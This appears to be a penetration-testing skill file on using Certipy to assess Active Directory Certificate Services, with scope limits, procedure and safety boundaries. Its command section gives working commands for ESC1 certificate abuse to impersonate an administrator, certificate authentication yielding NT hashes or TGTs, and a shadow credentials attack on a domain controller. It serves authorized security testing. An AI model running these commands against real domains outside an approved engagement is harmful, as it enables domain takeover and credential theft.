Certipy

Certipy

Purpose

Use this skill for AD CS-focused analysis when the engagement needs to understand certificate-based privilege paths or enrollment weaknesses.

Phase Fit

• Primary: Vulnerability Analysis
• Secondary: Threat Modeling and Test Planning, Retest and Closure

Use When

• Need to enumerate certificate templates or enrollment services.
• Need to assess whether AD CS introduces practical privilege escalation paths.
• Need to retest whether a certificate-related weakness was removed.

Avoid When

• AD CS is not in scope.
• Enrollment or certificate abuse would exceed the approved impact level.

Inputs

• Approved domain, domain controller, and credential context
• Targeted objective such as template review or enrollment path validation

Procedure

1. Start with enumeration and template review.
2. Identify only the certificate paths that materially affect privilege or authentication.
3. Correlate results with directory relationships and business impact.
4. Escalate to controlled validation only when explicitly approved.
5. Preserve the exact enumeration scope for retest.

Command Syntax

Replace sample domains and credentials with approved in-scope values.

# Find certificate templates and enumerate AD CS
certipy find -u 'auditor@contoso.com' -p '<password>' -dc-ip 10.10.10.10 -stdout

# Find only enabled and vulnerable templates
certipy find -u 'auditor@contoso.com' -p '<password>' -dc-ip 10.10.10.10 -enabled -vulnerable

# ESC1: request certificate for a different UPN
certipy req -u 'auditor@contoso.com' -p '<password>' -dc-ip 10.10.10.10 -ca contoso-CA -template UserTemplate -upn administrator@contoso.com

# Authenticate with a .pfx certificate (get NT hash or TGT)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

# Shadow credentials attack
certipy shadow auto -u 'auditor@contoso.com' -p '<password>' -account dc01$ -dc-ip 10.10.10.10

Evidence to Capture

• Certificate templates or services that create material risk
• Enrollment paths tied to specific identities or groups
• Exact domain and credential context used during enumeration

Safety Boundaries

• Keep to enumeration unless deeper validation is explicitly approved.
• Treat certificate and key material as sensitive evidence.